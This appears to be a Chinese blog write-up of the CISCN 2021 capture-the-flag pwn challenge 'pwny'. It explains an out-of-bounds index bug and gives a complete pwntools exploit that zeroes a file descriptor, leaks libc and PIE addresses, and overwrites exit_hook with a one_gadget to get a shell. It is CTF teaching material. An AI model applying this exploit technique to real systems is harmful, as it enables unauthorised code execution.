ciscn2021 pwn-pwny

ciscn2021 pwn-pwny

查看保护
在这里插入图片描述
在这里插入图片描述
程序初始化的时候fd取的是一个随机数
在这里插入图片描述
所以在程序运行的时候直接read的时候会出错,因为找的是无效内存。所我们需要将fd变成0就可以正常使用read这个东西了。
在这里插入图片描述
在这里有个很明显的漏洞,没有限制index,所以可以oob利用。
攻击思路:fd变成0才可以正常利用,看一下202060有什么地址可以让oob发挥作用。
在这里插入图片描述
fd刚好就在202060这里,所以我们直接利用oob将fd给覆盖成0。
fd为0之后可以正常的读地址了,借助read功能读取libc和pie,这里可以借助上面的puts地址和off_202008这个程序数据。
拿到这些之后算出libc_base和pie的基址,最后想要getshell的话我们可以打exit_hook为one_gadget。
所以我们拿到exit_hook的地址,算出offest,利用oob改掉就可以了
这里的one_gadget正常的不可以使用,加上-l 1参数之后再选用就可以了

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'Your choice: '

def write(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index: ', str(index))

def read(index):
    r.sendlineafter(menu, '1')
    r.sendafter('Index: ', index)

write(256)
write(256)

puts_got = 0x201F98
vuln_addr = 0x202060

puts_offest = (puts_got - vuln_addr) // 8
puts_offest = 0xFFFFFFFFFFFFFFFF + puts_offest + 1
li('puts_offest = ' + hex(puts_offest))

read(p64(puts_offest))

r.recvuntil('Result: ')
puts_addr = int(r.recv(12), 16)
li('puts_addr = ' + hex(puts_addr))
libc = ELF('./libc-2.27.so')
libc_base = puts_addr - libc.sym['puts']
one = [0x4f3d5, 0x4f432, 0x10a41c, 0x10a428]
one_gadget = one[3] + libc_base

data_addr = 0x202008
data_offest = (data_addr - vuln_addr) // 8
data_offest = 0xFFFFFFFFFFFFFFFF + data_offest + 1
li('data_offest = ' + hex(data_offest))

read(p64(data_offest))
r.recvuntil('Result: ')
pie_addr = int(r.recv(12), 16)
li('pie_addr = ' + hex(pie_addr))

pie_base = pie_addr - 0x202008
li('pie_base = ' + hex(pie_base))

exit_hook = libc_base + 0x61bf60
exit_offest = (exit_hook - pie_base - vuln_addr) // 8
li('exit_offest = ' + hex(exit_offest))
r.sendlineafter(menu, '2')
r.sendlineafter('Index: ', str(exit_offest))
r.sendline(p64(one_gadget))

r.sendlineafter(menu, '3')

r.interactive()
  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值